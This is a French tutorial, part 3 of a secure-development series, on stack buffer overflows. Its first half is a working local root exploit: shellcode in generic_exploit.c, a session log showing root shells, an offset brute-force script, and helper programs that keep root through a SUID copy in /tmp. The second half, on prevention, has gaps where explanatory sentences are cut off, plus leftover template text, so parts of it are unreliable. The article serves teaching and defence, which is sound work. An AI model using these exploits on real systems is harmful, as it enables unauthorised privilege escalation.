Éviter les failles de sécurité dès le développement d'une application - 3 : débordements de buffer

ArticleCategory:

AuthorImage:

TranslationInfo:

Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier

AboutTheAuthor:

Christophe Blaess est un ingénieur indépendant dans le domaine de l'aéronautique Passionné par Linux, il effectue l'essentiel de son travail sur ce système, et assure la coordination des traductions des pages de manuel publiées par le Linux Documentation Project.

Christophe Grenier est étudiant en 5ème année à l'ESIEA, où il est également administrateur système. La sécurité informatique est l'une de ses passions.

Frédéric Raynal utilise Linux depuis des années parce qu'il ne pollue pas, qu'il est garanti sans hormones, OGM ou farines animales... il ne réclame que de la sueur et de l'astuce.

Abstract

• Éviter les failles de sécurité dès le développement d'une application - 1ère partie
• Éviter les failles de sécurité dès le développement d'une application - 2 : mémoire, pile et fonctions, shellcode

ArticleIllustration:[illustration]

ArticleBody:[The real article: put the text and html-codes here]

Débordements de buffer

Dans notre précédent article, nous avons donc obtenu un fragment de programme tenant en une cinquantaine d'octets, capable de faire démarrer un shell ou de se terminer en cas d'échec. Il nous faut à présent arriver à insérer ce code au sein de l'application que nous voulons attaquer. Cela s'effectue en écrasant l'adresse de retour d'une fonction pour la remplacer par l'adresse de notre shellcode, ce qui se produit en forçant le débordement d'une variable automatique, allouée dans la pile du processus.

Par exemple, dans le programme suivant, nous recopions dans un buffer de 500 octets la chaîne de caractères passée en premier argument sur la ligne de commande. Cette copie s'effectue sans vérifier que la taille du buffer ne soit pas dépassée. Comme nous le verrons plus tard, il aurait simplement fallu employer la fonction strncpy() pour éviter ce problème.

  /* vulnerable.c */

  #include <string.h>
    
  int main(int argc, char * argv [])
  {
    char buffer [500];

    if (argc > 1)
    strcpy(buffer, argv[1]);
    return (0);
  }

buffer est une variable automatique, l'espace occupé par les 500 octets est réservé dans la pile dès l'entrée dans la fonction main(). Lors de l'exécution du programme vulnerable avec un argument long de plus de 500 caractères, les données débordent du buffer, et envahissent la pile du processus. Comme nous l'avons vu précédemment, la pile contient l'adresse de la prochaine instruction à exécuter (appelée communément adresse de retour). Pour exploiter cette faille de sécurité, il suffit de remplacer l'adresse de retour de la fonction par l'adresse où se situe le shellcode que nous voulons exécuter. Ce shellcode est inséré dans le corps même du buffer, suivi de l'adresse qu'il occupera en mémoire.

Position en mémoire

Obtenir l'adresse mémoire du shellcode constitue une opération délicate. Nous devons découvrir le décalage existant entre le registre %esp, qui pointe sur le sommet de la pile, et l'adresse du shellcode. De façon à disposer d'une certaine marge, le début du buffer est rempli avec l'instruction assembleur NOP ; il s'agit d'une instruction neutre codée sur un octet, n'ayant strictement aucun effet. Ainsi, lorsque l'adresse de départ pointe en deçà du début réel du shellcode, le processeur passera de NOP en NOP jusqu'à atteindre effectivement notre code. Pour optimiser nos chances, nous plaçons le shellcode au milieu du buffer, suivi de l'adresse de démarrage répétée jusqu'à la fin, et précédé d'un bloc de NOP. La figure 1 illustre la construction du buffer qui servira d'exploit.

Fig. 1 : disposition du buffer rempli spécialement pour l'exploit

La figure 2 décrit l'état de la mémoire avant puis après le débordement. Celui-ci provoque l'écrasement des données situées au-delà du buffer. Elles sont alors remplacées par l'adresse du shellcode en mémoire, c'est-à-dire l'adresse du début du buffer exploité.

Fig. 2 : organisation de la mémoire avant et après le débordement

Avant	Après

Toutefois il existe un autre problème lié à l'alignement des variables dans la pile. En effet, une adresse étant stockée sur plusieurs octets, l'alignement au sein de la pile ne convient pas toujours. Cet inconvénient se résout en "tâtonnant" sur l'alignement à utiliser. Comme notre processeur utilise des mots de 4 octets, l'alignement vaut 0, 1, 2 ou 3 octet(s) (voir l'article 183 sur l'organisation de la pile pour de plus amples détails). Sur la figure 3, les parties grisées correspondent aux 4 octets écrits. Seul le premier cas, où l'adresse de retour est complètement écrasée, fonctionne. Les autres conduisent à des erreurs type segmentation violation ou illegal instruction. Cette recherche empirique fonctionne parfaitement car la puissance des ordinateurs actuels nous autorise à faire ces tests peu coûteux.

Fig. 3 : alignements possibles avec des mots de 4 octets

Programme de lancement

Nous allons écrire un petit programme qui lance une application vulnérable en lui transmettant un buffer qui fera déborder la pile. Ce programme dispose de plusieurs options pour cadrer la position du shellcode en mémoire, choisir le programme à exécuter. Cette version, inspirée de l'article d'Aleph One dans le numéro 49 du magazine phrack, est disponible sur le site de Christophe Grenier.

Comment passer notre buffer ainsi préparé à l'application visée ? Classiquement, il s'agit d'un paramètre en ligne de commande comme dans le cas de vulnerable.c ou d'une variable d'environnement. Le dépassement a parfois lieu à partir de lignes saisies par l'utilisateur, ce qui est plus difficile à automatiser, ou de données lues dans un fichier.

Le programme generic_exploit.c commence par allouer le buffer de la taille désirée, y copie le shellcode et assure le remplissage décrit plus haut avec les adresses et les codes NOP. Ensuite il prépare un tableau d'arguments et lance l'application cible en utilisant l'instruction execve() qui remplace le processus courant par celui invoqué. Les paramètres de generic_exploit sont la taille du buffer à exploiter (un peu plus que sa taille pour écraser l'adresse de retour), l'offset en mémoire, l'alignement. On indique si on passe le buffer via une variable d'environnement (var) ou en ligne de commande (novar). L'argument force/noforce permet l'appel ou non à la fonction setuid()/setgid() dans le shellcode.

/* generic_exploit.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE		1
#define A_OFFSET	2
#define A_ALIGN		3
#define A_VAR		4
#define A_FORCE		5
#define A_PROG2RUN	6
#define A_TARGET	7
#define A_ARG		8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc < A_ARG)
   {
      printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n", argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;

   for(i = 0; i < bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;			/* xorl %eax,%eax	*/
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;			/* xorl %ebx,%ebx	*/
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid & 0xFF)
       {
	 *(ptr++)= 0xb3;		/* movb $0x??,%bl	*/
	 *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid & 0xFF00)
       {
	 *(ptr++)= 0xb7;		/* movb $0x??,%bh	*/
	 *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;			/* movb $0x17,%al 	*/
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;			/* int $0x80		*/
       *(ptr++)= 0x80;
     }
     if(S_ISGID&stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;			/* xorl %eax,%eax	*/
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;			/* xorl %ebx,%ebx	*/
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid & 0xFF)
       {
	 *(ptr++)= 0xb3;		/* movb $0x??,%bl	*/
	 *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid & 0xFF00)
       {
	 *(ptr++)= 0xb7;		/* movb $0x??,%bh	*/
	 *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;			/* movb $0x2e,%al 	*/
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;			/* int $0x80		*/
       *(ptr++)= 0x80;
     }
   }
   /* Patch shellcode */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* Copy prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i < argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}

Pour tirer profit de vulnerable.c, nous devons disposer d'un buffer plus grand que celui prévu par l'application. Nous choisissons par exemple 600 octets au lieu des 500 prévus. La recherche du décalage par rapport au sommet de la pile se fait par essais successifs. L'adresse, construite par l'instruction addr = get_sp() + offset; et dont le but est d'écraser l'adresse du retour, est obtenue ... par chance ! L'opération effectuée repose sur l'heuristique que le registre %esp ne bougera pas trop entre le processus courant et celui appelé en fin de programme. En pratique, rien n'est moins sûr : plusieurs évènements peuvent venir modifier l'état de la pile entre le moment où ce calcul est effectué et celui où le programme à exploiter est appelé. Ici, nous sommes arrivés à déclencher un débordement exploitable avec un offset de -1900 octets. Naturellement pour que l'expérience soit complète, la cible vulnerable doit être Set-UID root.

  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit

Pour rechercher automatiquement les valeurs de décalage assurant un débordement, l'utilisation d'un petit script shell rend les choses encore plus faciles :

 #! /bin/sh
 # cherche_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done

Problèmes de shell(s)

Malheureusement, il arrive que le shell obtenu soit inutilisable car il se termine tout seul ou dès l'appuie sur une touche. Un moyen, à peine détourné, permet de conserver ces privilèges si laborieusement acquis.

/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>
 
int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}

Puisque notre exploit ne peut exécuter qu'une seule chose à la fois, nous allons transférer, à l'aide du programme set_run_shell, les droits obtenus sur le programme run_shell. Ce dernier nous offrira alors le shell espéré.

/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}

Prévention

Disposant d'un programme Set-UID contenant un bogue de débordement de buffer, ainsi que de son code source, nous sommes donc capables de préparer une attaque permettant d'exécuter n'importe quel code arbitraire sous l'identité du propriétaire du fichier. Notre propos toutefois vise à d'éviter les failles de sécurité. Nous allons donc examiner quelques règles à respecter pour échapper aux débordements de buffer.

Vérifier les indices

La première règle à respecter relève simplement d'une question de bon sens : il est indispensable de toujours vérifier avec soin les indices utilisés pour manipuler un tableau. Un balayage maladroit du type :

  for (i = 0; i <= n; i ++) {
  	table [i] = ...

Le même type de problème se pose avec les chaînes de caractères, pour lesquelles il faut toujours penser à allouer un octet supplémentaire pour le caractère nul final. Son oubli constitue l'un des bogues les plus fréquemment rencontrés par les débutants, et difficile à diagnostiquer puisqu'il peut passer longuement inaperçu en raison de l'alignement des variables.

Il ne faut pas sous-estimer le rôle des indices d'un tableau dans la sécurité d'une application. On a montré (voir Phrack numéro 55) qu'un seul octet de débordement pouvait suffire pour créer une faille de sécurité, en insérant le shellcode dans une variable d'environnement par exemple.

  #define TAILLE_BUFFER 128

  void foo(void) {

    char buffer[TAILLE_BUFFER+1];

    /* fin de chaîne */
    buffer[TAILLE_BUFFER] = '\0'; 

    for (i = 0; i<TAILLE_BUFFER; i++)
      buffer[i] = ...
  }

Utiliser les fonctions en n

  #define LG_IDENT 128

  int fonction (const char * nom)
  {
    char identite [LG_IDENT];
    strcpy (identite, nom);
    ...
  }

La limitation imposée par strncpy(3) a toutefois des effets de bord auxquels il faut prendre garde : lorsque la chaîne source est plus courte que la destination, cette dernière sera complétée par des caractères nuls jusqu'à la limite n, ce qui pénalise un peu l'application en terme de performances. À l'inverse, si la source est plus longue, elle sera tronquée pour remplir la destination mais cette dernière chaîne ne sera pas terminée par un caractère nul. Il est donc indispensable de l'ajouter manuellement. La routine précédente réécrite en respectant ceci devient alors :

  #define LG_IDENT 128

  int fonction (const char * nom)
  {
    char identite [LG_IDENT+1];
    strncpy (identite, nom, LG_IDENT);
    identite [LG_IDENT] = '\0';
    ...
  }

Tout comme strcpy(), strcat(3) ne vérifie pas la taille des buffers. La fonction strncat(3) ajoute elle-même un caractère de fin de chaîne si elle dispose de la place nécessaire. Le remplacement de strcat(buffer1, buffer2); par strncat(buffer1, buffer2, sizeof(buffer1)-1); suffit à élimer les risques.

La fonction sprintf() permet de recopier des données formatées dans une chaîne. Elle aussi dispose d'une version permettant de contrôler le nombre d'octets à copier : snprintf(). Cette fonction renvoie le nombre de caractères écrits dans la chaîne destinataire (sans comptabiliser le `\0'). Tester cette valeur de retour permet donc de savoir si l'écriture s'est déroulée correctement :

  if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
    /* Débordement */
    ...
  }

Bien évidemment, ces précautions ne valent plus rien dès que l'utilisateur obtient le contrôle sur le nombre d'octets à copier. Une telle faille dans BIND (Berkeley Internet Name Daemon) fut à l'origine de nombreux piratages :

  struct hosten *hp;
  unsigned long adresse;

  ...

  /* copie d'une adresse */
  memcpy(&adresse, hp->h_addr_list[0], hp->h_length);
  ...

  struct hosten *hp;
  unsigned long adresse;

  ...

  /* test */
  if (hp->h_length > sizeof(adresse))
    return 0;

  /* copie d'une adresse */
  memcpy(&adresse, hp->h_addr_list[0], hp->h_length);
  ...

Valider les saisies en deux temps

Tout d'abord cela concerne les routines de saisie de chaîne de caractères. Avec ce qui précède, il est inutile de s'appesantir sur le fait qu'il ne faut jamais utiliser gets(char *chaine) puisqu'elle ne vérifie pas la longueur de la chaîne saisie (note des auteurs : il serait bon que cette routine soit totalement interdite par l'éditeur de liens pour les programmes nouvellement compilés). Il existe des dangers plus insidieux se dissimulant dans les saisies avec scanf(). La ligne

scanf ("%s", chaine)

  char buffer[256];
  scanf("%255s", buffer);

En C++, le flux cin remplace les fonctions classiques utilisées en C (bien que celles-ci restent utilisables). Le programme suivant remplit un buffer :

  char buffer[500];
  cin>>buffer;

La lecture des données nécessite deux étapes. Une première phase consiste à récupérer la chaîne de caractères à l'aide de fgets(char *chaine, int taille, FILE stream), qui limite la taille de la zone mémoire employée. Dans un second temps, les données lues sont traitées, avec sscanf() par exemple. La première phase peut également contenir d'autres opérations, comme encadrer fgets(char *chaine, int taille, FILE stream) avec une boucle allouant automatiquement la mémoire nécessaire, sans imposer de limite arbitraire. L'extension Gnu getline() réalise cette opération. Cette phase peut aussi inclure une validation des caractères saisis, avec isalnum(), isprint(), etc. La fonction strspn() permet la mise en place de filtres efficaces et variés (cf. juste après ... normalement). Le programme perd un peu en rapidité de traitement, mais les parties les plus sensibles du code sont ainsi protégées par un excellent gilet pare-balles contre les données litigieuses en entrée.

Les saisies directes de données ne sont pas les seuls points d'entrée susceptibles d'être attaqués. Les fichiers de données manipulés par le logiciel sont naturellement vulnérables, mais le code écrit pour leur lecture est généralement plus robuste que pour les saisies, les programmeurs ayant souvent une méfiance intuitive vis-à-vis du contenu des fichiers fournis par l'utilisateur.

Il existe aussi un autre point d'appui fréquemment employé par les attaques de débordement de buffer : les chaînes d'environnement. Il ne faut pas oublier qu'un programmeur peut configurer totalement l'environnement d'un processus avant de le lancer. Les conventions qui veulent qu'une chaîne d'environnement soit toujours du type "NOM=VALEUR" n'ont aucune valeur face à un utilisateur mal intentionné. L'utilisation de la routine getenv() nécessite quelques précautions, notamment en ce qui concerne la longueur de la chaîne renvoyée (arbitrairement longue), et son contenu (où l'on peut rencontrer n'importe quel caractère y compris `='). La chaîne renvoyée par getenv() sera traitée comme celle fournie par fgets(char *chaine, int taille, FILE stream), en surveillant sa longueur et en la validant caractère par caractère.

La mise en place de tels filtres fonctionne encore une fois comme l'accès à un ordinateur : par défaut, il faut tout interdire ! Ensuite, certaines autorisations sont délivrées :

  #define GOOD "abcdefghijklmnopqrstuvwxyz\
                BCDEFGHIJKLMNOPQRSTUVWXYZ\
                1234567890_"

  char *my_getenv(char *var) {
    char *data, *ptr

    /* Récupération des données */
    data = getenv(var);

    /* Filtrage
       Rem : il faut bien sur que le caractère de remplacemement soit
             dans la liste des caractères autorisés !!!
    */
    for (ptr = data; *(ptr += strspn(ptr, GOOD));)
      *ptr = '_';

    return data;
  }

La fonction strspn() facilite ceci : elle recherche le premier caractère qui n'est pas contenu dans l'ensemble spécifié. Elle retourne la longueur de la chaîne (commençant en position 0) contenant uniquement des caractères valides. Il ne faut absolument jamais utiliser, dans cette optique, la contraposée de cette fonction, strcspn, car la démarche revient alors à spécifier les caractères interdits puis à s'assurer qu'aucun n'est présent dans la saisie.

Utiliser des buffers dynamiques

Le principe du débordement de buffer repose sur l'écrasement du contenu de la pile de manière à modifier l'adresse de retour d'une fonction. L'attaque porte sur des données automatiques, allouées uniquement dans la pile. Une manière de déplacer ce problème est de remplacer systématiquement les tables de caractères allouées dans la pile par des variables dynamiques se trouvant dans le tas. Pour cela on remplace les séquences

  #define LG_CHAINE    128
  int fonction (...)
  { 
    char chaine [LG_CHAINE];
    ...
    return (resultat);
  }

  #define LG_CHAINE    128
  int fonction (...)
  {
    char *chaine = NULL;
    if ((chaine = malloc (LG_CHAINE)) == NULL)
        return (-1);
    memset(chaine,'\0',LG_CHAINE);
    [...]
    free (chaine);
    return (resultat);
  }

Enfin, signalons quand même qu'il est possible dans certaines circonstances de supprimer rapidement une faille de sécurité avec un minimum de modifications en ajoutant le mot clé static devant la déclaration du buffer. Celui-ci se retrouve alors alloué dans le segment de données loin de la pile du processus. Il devient impossible d'obtenir un shell mais le problème de DoS demeure. Bien entendu ceci ne fonctionne pas si la routine est appelée récursivement. Il faut considérer ce remède comme un palliatif temporaire, servant juste à éliminer dans l'urgence une faille de sécurité en intervenant au minimum sur le code.

Conclusion

Liens

• Page de Christophe Blaess : perso.club-internet.fr/ccb/
• Page de Christophe Grenier : www.esiea.fr/public_html/Christophe.GRENIER/
• Page de Frédéric Raynal : www-rocq.inria.fr/~raynal/
• Phrack Magazine : phrack.infonexus.com/.
• Heap overflow : www.w00w00.org/files/articles/heaptut.txt